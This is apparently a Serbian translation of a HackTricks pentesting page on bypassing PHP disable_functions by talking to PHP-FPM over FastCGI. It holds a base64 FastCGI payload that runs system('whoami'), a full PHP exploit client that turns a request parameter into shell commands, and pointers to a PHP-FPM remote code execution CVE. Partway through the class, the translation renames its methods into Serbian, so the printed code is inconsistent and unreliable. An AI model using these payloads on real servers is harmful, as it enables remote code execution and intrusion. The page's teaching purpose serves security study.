disable_functions bypass - php-fpm/FastCGI

Naučite hakovanje AWS-a od nule do heroja sa htARTE (HackTricks AWS Red Team Expert)!

Drugi načini podrške HackTricks-u:

PHP-FPM

PHP-FPM se predstavlja kao superiorna alternativa standardnom PHP FastCGI-ju, nudeći funkcije koje su posebno korisne za sajtove sa visokim saobraćajem. Radi putem glavnog procesa koji nadgleda kolekciju radnih procesa. Zahtev za PHP skriptom, inicira veb server koji uspostavlja FastCGI proxy konekciju sa PHP-FPM servisom. Ovaj servis ima mogućnost da prima zahteve ili preko mrežnih portova na serveru ili Unix soketa.

Iako posrednička uloga proxy konekcije, PHP-FPM mora biti operativan na istom računaru kao i veb server. Konekcija koju koristi, iako zasnovana na proxy-ju, razlikuje se od konvencionalnih proxy konekcija. Po prijemu zahteva, dostupan radnik iz PHP-FPM ga obrađuje - izvršava PHP skriptu i zatim prosleđuje rezultate nazad veb serveru. Nakon što radnik završi obradu zahteva, ponovo postaje dostupan za nadolazeće zahteve.

Ali šta je CGI i FastCGI?

CGI

Obično veb stranice, fajlovi i svi dokumenti koji se prenose sa veb servera ka pregledaču smešteni su u određenom javnom direktorijumu poput home/user/public_html. Kada pregledač zatraži određeni sadržaj, server proverava ovaj direktorijum i šalje potrebni fajl pregledaču.

Ako je CGI instaliran na serveru, specifični direktorijum cgi-bin se takođe dodaje tamo, na primer home/user/public_html/cgi-bin. CGI skripte se čuvaju u ovom direktorijumu. Svaki fajl u direktorijumu se tretira kao izvršni program. Pristupajući skripti iz direktorijuma, server šalje zahtev aplikaciji odgovornoj za ovu skriptu, umesto slanja sadržaja fajla pregledaču. Nakon završetka obrade ulaznih podataka, aplikacija šalje izlazne podatke veb serveru koji dalje prosleđuje podatke HTTP klijentu.

Na primer, kada se pristupi CGI skripti http://mojsajt.com/cgi-bin/fajl.pl, server će pokrenuti odgovarajuću Perl aplikaciju putem CGI-ja. Podaci generisani iz izvršenja skripte će biti poslati od aplikacije veb serveru. Server, s druge strane, će preneti podatke pregledaču. Da server nije imao CGI, pregledač bi prikazao sam kod .pl fajla. (objašnjenje sa ovde)

FastCGI

FastCGI je novija web tehnologija, unapređena verzija CGI verzije s obzirom da osnovna funkcionalnost ostaje ista.

Potreba za razvojem FastCGI-a proizašla je iz brzog razvoja i kompleksnosti aplikacija na Webu, kao i da bi se adresirale nedostatke skalabilnosti CGI tehnologije. Da bi zadovoljio te zahteve, Open Market je predstavio FastCGI - visoko performantnu verziju CGI tehnologije sa unapređenim mogućnostima.

Bypassovanje disable_functions

Moguće je pokrenuti PHP kod zloupotrebom FastCGI-ja i izbegavanjem ograničenja disable_functions.

Putem Gopherus-a

Nisam siguran da li ovo funkcioniše u modernim verzijama jer sam jednom pokušao i nije izvršilo ništa. Molim vas, ako imate više informacija o ovome kontaktirajte me putem [PEASS & HackTricks telegram grupe ovde](https://t.me/peass), ili twitter-a [@carlospolopm](https://twitter.com/hacktricks_live).

Korišćenjem Gopherus-a možete generisati payload za slanje FastCGI slušaocu i izvršiti proizvoljne komande:

<?php
$fp = fsockopen("unix:///var/run/php/php7.0-fpm.sock", -1, $errno, $errstr, 30); fwrite($fp,base64_decode("AQEAAQAIAAAAAQAAAAAAAAEEAAEBBAQADxBTRVJWRVJfU09GVFdBUkVnbyAvIGZjZ2ljbGllbnQgCwlSRU1PVEVfQUREUjEyNy4wLjAuMQ8IU0VSVkVSX1BST1RPQ09MSFRUUC8xLjEOAkNPTlRFTlRfTEVOR1RINzYOBFJFUVVFU1RfTUVUSE9EUE9TVAlLUEhQX1ZBTFVFYWxsb3dfdXJsX2luY2x1ZGUgPSBPbgpkaXNhYmxlX2Z1bmN0aW9ucyA9IAphdXRvX3ByZXBlbmRfZmlsZSA9IHBocDovL2lucHV0DxdTQ1JJUFRfRklMRU5BTUUvdmFyL3d3dy9odG1sL2luZGV4LnBocA0BRE9DVU1FTlRfUk9PVC8AAAAAAQQAAQAAAAABBQABAEwEADw/cGhwIHN5c3RlbSgnd2hvYW1pID4gL3RtcC93aG9hbWkudHh0Jyk7ZGllKCctLS0tLU1hZGUtYnktU3B5RDNyLS0tLS0KJyk7Pz4AAAAA"));

PHP eksploatacija

Nisam siguran da li ovo radi u modernim verzijama jer sam jednom pokušao i nisam mogao izvršiti ništa. Zapavo, uspeo sam da vidim da je phpinfo() iz FastCGI izvršenja pokazao da je disable_functions prazan, ali PHP (nekim čudom) i dalje mi je sprečavao izvršavanje bilo koje prethodno onemogućene funkcije. Molim vas, ako imate više informacija o ovome, kontaktirajte me putem [PEASS & HackTricks telegram grupe ovde](https://t.me/peass), ili twitter-a [@carlospolopm](https://twitter.com/hacktricks_live).

Kod sa ovde.

<?php
/**
* Note : Code is released under the GNU LGPL
*
* Please do not change the header of this file
*
* This library is free software; you can redistribute it and/or modify it under the terms of the GNU
* Lesser General Public License as published by the Free Software Foundation; either version 2 of
* the License, or (at your option) any later version.
*
* This library is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY;
* without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.
*
* See the GNU Lesser General Public License for more details.
*/
/**
* Handles communication with a FastCGI application
*
* @author      Pierrick Charron <pierrick@webstart.fr>
* @version     1.0
*/
class FCGIClient
{
const VERSION_1            = 1;
const BEGIN_REQUEST        = 1;
const ABORT_REQUEST        = 2;
const END_REQUEST          = 3;
const PARAMS               = 4;
const STDIN                = 5;
const STDOUT               = 6;
const STDERR               = 7;
const DATA                 = 8;
const GET_VALUES           = 9;
const GET_VALUES_RESULT    = 10;
const UNKNOWN_TYPE         = 11;
const MAXTYPE              = self::UNKNOWN_TYPE;
const RESPONDER            = 1;
const AUTHORIZER           = 2;
const FILTER               = 3;
const REQUEST_COMPLETE     = 0;
const CANT_MPX_CONN        = 1;
const OVERLOADED           = 2;
const UNKNOWN_ROLE         = 3;
const MAX_CONNS            = 'MAX_CONNS';
const MAX_REQS             = 'MAX_REQS';
const MPXS_CONNS           = 'MPXS_CONNS';
const HEADER_LEN           = 8;
/**
* Socket
* @var Resource
*/
private $_sock = null;
/**
* Host
* @var String
*/
private $_host = null;
/**
* Port
* @var Integer
*/
private $_port = null;
/**
* Keep Alive
* @var Boolean
*/
private $_keepAlive = false;
/**
* Constructor
*
* @param String $host Host of the FastCGI application
* @param Integer $port Port of the FastCGI application
*/
public function __construct($host, $port = 9000) // and default value for port, just for unixdomain socket
{
$this->_host = $host;
$this->_port = $port;
}
/**
* Define whether or not the FastCGI application should keep the connection
* alive at the end of a request
*
* @param Boolean $b true if the connection should stay alive, false otherwise
*/
public function setKeepAlive($b)
{
$this->_keepAlive = (boolean)$b;
if (!$this->_keepAlive && $this->_sock) {
fclose($this->_sock);
}
}
/**
* Get the keep alive status
*
* @return Boolean true if the connection should stay alive, false otherwise
*/
public function getKeepAlive()
{
return $this->_keepAlive;
}
/**
* Create a connection to the FastCGI application
*/
private function connect()
{
if (!$this->_sock) {
//$this->_sock = fsockopen($this->_host, $this->_port, $errno, $errstr, 5);
$this->_sock = stream_socket_client($this->_host, $errno, $errstr, 5);
if (!$this->_sock) {
throw new Exception('Unable to connect to FastCGI application');
}
}
}
/**
* Build a FastCGI packet
*
* @param Integer $type Type of the packet
* @param String $content Content of the packet
* @param Integer $requestId RequestId
*/
private function buildPacket($type, $content, $requestId = 1)
{
$clen = strlen($content);
return chr(self::VERSION_1)         /* version */
. chr($type)                    /* type */
. chr(($requestId >> 8) & 0xFF) /* requestIdB1 */
. chr($requestId & 0xFF)        /* requestIdB0 */
. chr(($clen >> 8 ) & 0xFF)     /* contentLengthB1 */
. chr($clen & 0xFF)             /* contentLengthB0 */
. chr(0)                        /* paddingLength */
. chr(0)                        /* reserved */
. $content;                     /* content */
}
/**
* Build an FastCGI Name value pair
*
* @param String $name Name
* @param String $value Value
* @return String FastCGI Name value pair
*/
private function buildNvpair($name, $value)
{
$nlen = strlen($name);
$vlen = strlen($value);
if ($nlen < 128) {
/* nameLengthB0 */
$nvpair = chr($nlen);
} else {
/* nameLengthB3 & nameLengthB2 & nameLengthB1 & nameLengthB0 */
$nvpair = chr(($nlen >> 24) | 0x80) . chr(($nlen >> 16) & 0xFF) . chr(($nlen >> 8) & 0xFF) . chr($nlen & 0xFF);
}
if ($vlen < 128) {
/* valueLengthB0 */
$nvpair .= chr($vlen);
} else {
/* valueLengthB3 & valueLengthB2 & valueLengthB1 & valueLengthB0 */
$nvpair .= chr(($vlen >> 24) | 0x80) . chr(($vlen >> 16) & 0xFF) . chr(($vlen >> 8) & 0xFF) . chr($vlen & 0xFF);
}
/* nameData & valueData */
return $nvpair . $name . $value;
}
/**
* Read a set of FastCGI Name value pairs
*
* @param String $data Data containing the set of FastCGI NVPair
* @return array of NVPair
*/
private function readNvpair($data, $length = null)
{
$array = array();
if ($length === null) {
$length = strlen($data);
}
$p = 0;
while ($p != $length) {
$nlen = ord($data{$p++});
if ($nlen >= 128) {
$nlen = ($nlen & 0x7F << 24);
$nlen |= (ord($data{$p++}) << 16);
$nlen |= (ord($data{$p++}) << 8);
$nlen |= (ord($data{$p++}));
}
$vlen = ord($data{$p++});
if ($vlen >= 128) {
$vlen = ($nlen & 0x7F << 24);
$vlen |= (ord($data{$p++}) << 16);
$vlen |= (ord($data{$p++}) << 8);
$vlen |= (ord($data{$p++}));
}
$array[substr($data, $p, $nlen)] = substr($data, $p+$nlen, $vlen);
$p += ($nlen + $vlen);
}
return $array;
}
/**
* Decode a FastCGI Packet
*
* @param String $data String containing all the packet
* @return array
*/
private function decodePacketHeader($data)
{
$ret = array();
$ret['version']       = ord($data{0});
$ret['type']          = ord($data{1});
$ret['requestId']     = (ord($data{2}) << 8) + ord($data{3});
$ret['contentLength'] = (ord($data{4}) << 8) + ord($data{5});
$ret['paddingLength'] = ord($data{6});
$ret['reserved']      = ord($data{7});
return $ret;
}
/**
* Read a FastCGI Packet
*
* @return array
*/
private function readPacket()
{
if ($packet = fread($this->_sock, self::HEADER_LEN)) {
$resp = $this->decodePacketHeader($packet);
$resp['content'] = '';
if ($resp['contentLength']) {
$len  = $resp['contentLength'];
while ($len && $buf=fread($this->_sock, $len)) {
$len -= strlen($buf);
$resp['content'] .= $buf;
}
}
if ($resp['paddingLength']) {
$buf=fread($this->_sock, $resp['paddingLength']);
}
return $resp;
} else {
return false;
}
}
/**
* Get Informations on the FastCGI application
*
* @param array $requestedInfo information to retrieve
* @return array
*/
public function getValues(array $requestedInfo)
{
$this->connect();
$request = '';
foreach ($requestedInfo as $info) {
$request .= $this->buildNvpair($info, '');
}
fwrite($this->_sock, $this->buildPacket(self::GET_VALUES, $request, 0));
$resp = $this->readPacket();
if ($resp['type'] == self::GET_VALUES_RESULT) {
return $this->readNvpair($resp['content'], $resp['length']);
} else {
throw new Exception('Unexpected response type, expecting GET_VALUES_RESULT');
}
}
/**
* Execute a request to the FastCGI application
*
* @param array $params Array of parameters
* @param String $stdin Content
```php
* @return String
*/
public function zahtev(array $params, $stdin)
{
$response = '';
$this->povezi();
$zahtev = $this->napraviPaket(self::BEGIN_REQUEST, chr(0) . chr(self::RESPONDER) . chr((int) $this->_keepAlive) . str_repeat(chr(0), 5));
$paramsZahtev = '';
foreach ($params as $kljuc => $vrednost) {
$paramsZahtev .= $this->napraviNvpar(kljuc, $vrednost);
}
if ($paramsZahtev) {
$zahtev .= $this->napraviPaket(self::PARAMS, $paramsZahtev);
}
$zahtev .= $this->napraviPaket(self::PARAMS, '');
if ($stdin) {
$zahtev .= $this->napraviPaket(self::STDIN, $stdin);
}
$zahtev .= $this->napraviPaket(self::STDIN, '');
fwrite($this->_sock, $zahtev);
do {
$odgovor = $this->procitajPaket();
if ($odgovor['type'] == self::STDOUT || $odgovor['type'] == self::STDERR) {
$response .= $odgovor['content'];
}
} while ($odgovor && $odgovor['type'] != self::END_REQUEST);
var_dump($odgovor);
if (!is_array($odgovor)) {
throw new Exception('Loš zahtev');
}
switch (ord($odgovor['content']{4})) {
case self::CANT_MPX_CONN:
throw new Exception('Ova aplikacija ne može da multiplexuje [CANT_MPX_CONN]');
break;
case self::OVERLOADED:
throw new Exception('Novi zahtev odbijen; previše zauzeto [OVERLOADED]');
break;
case self::UNKNOWN_ROLE:
throw new Exception('Vrednost uloge nije poznata [UNKNOWN_ROLE]');
break;
case self::REQUEST_COMPLETE:
return $response;
}
}
}
?>
<?php
// pravi eksploataciju počinje ovde
if (!isset($_REQUEST['cmd'])) {
die("Proverite vaš unos\n");
}
if (!isset($_REQUEST['filepath'])) {
$filepath = __FILE__;
}else{
$filepath = $_REQUEST['filepath'];
}
$zahtev = '/'.basename($filepath);
$uri = $zahtev .'?'.'command='.$_REQUEST['cmd'];
$klijent = new FCGIClient("unix:///var/run/php-fpm.sock", -1);
$code = "<?php system(\$_REQUEST['command']); phpinfo(); ?>"; // php payload -- Ne radi ništa
$php_vrednost = "disable_functions = \nallow_url_include = On\nopen_basedir = /\nauto_prepend_file = php://input";
//$php_vrednost = "disable_functions = \nallow_url_include = On\nopen_basedir = /\nauto_prepend_file = http://127.0.0.1/e.php";
$params = array(
'GATEWAY_INTERFACE' => 'FastCGI/1.0',
'REQUEST_METHOD'    => 'POST',
'SCRIPT_FILENAME'   => $filepath,
'SCRIPT_NAME'       => $zahtev,
'QUERY_STRING'      => 'command='.$_REQUEST['cmd'],
'REQUEST_URI'       => $uri,
'DOCUMENT_URI'      => $zahtev,
#'DOCUMENT_ROOT'     => '/',
'PHP_VALUE'         => $php_vrednost,
'SERVER_SOFTWARE'   => '80sec/wofeiwo',
'REMOTE_ADDR'       => '127.0.0.1',
'REMOTE_PORT'       => '9985',
'SERVER_ADDR'       => '127.0.0.1',
'SERVER_PORT'       => '80',
'SERVER_NAME'       => 'localhost',
'SERVER_PROTOCOL'   => 'HTTP/1.1',
'CONTENT_LENGTH'    => strlen($code)
);
// print_r($_REQUEST);
// print_r($params);
//echo "Poziv: $uri\n\n";
echo $klijent->zahtev($params, $code)."\n";
?>

Korišćenjem prethodne funkcije videćete da je funkcija system i dalje onemogućena, ali phpinfo() pokazuje da je disable_functions prazan:

Dakle, mislim da možete postaviti disable_functions samo putem php .ini konfiguracionih fajlova i PHP_VALUE neće prebrisati tu postavku.

Ovo je php skripta za iskorišćavanje fastcgi protokola kako bi zaobišla open_basedir i disable_functions. Pomoći će vam da zaobiđete stroge disable_functions za RCE učitavanjem zlonamerne ekstenzije. Možete pristupiti ovde: https://github.com/w181496/FuckFastcgi ili malo izmenjenoj i poboljšanoj verziji ovde: https://github.com/BorelEnzo/FuckFastcgi

Primetićete da je eksploatacija vrlo slična prethodnom kodu, ali umesto pokušaja zaobilaženja disable_functions korišćenjem PHP_VALUE, pokušava da učita spoljni PHP modul kako bi izvršio kod koristeći parametre extension_dir i extension unutar promenljive PHP_ADMIN_VALUE. NAPOMENA1: Verovatno ćete morati ponovo da kompajlirate ekstenziju sa istom PHP verzijom koju koristi server (možete proveriti unutar izlaza phpinfo):

NAPOMENA2: Uspeo sam da ovo učinim ubacivanjem vrednosti extension_dir i extension unutar PHP .ini konfiguracionog fajla (nešto što nećete moći da uradite napadajući server). Međutim, iz nekog razloga, kada koristim ovu eksploataciju i učitavam ekstenziju iz promenljive PHP_ADMIN_VALUE, proces se jednostavno prekida, tako da ne znam da li je ova tehnika i dalje validna.

Ranjivost na udaljeno izvršavanje koda u PHP-FPM (CVE-2019–11043)

Možete iskoristiti ovu ranjivost sa phuip-fpizdam i testirati je koristeći ovaj docker okruženje: https://github.com/vulhub/vulhub/tree/master/php/CVE-2019-11043. Takođe možete pronaći analizu ranjivosti ovde.

Last updated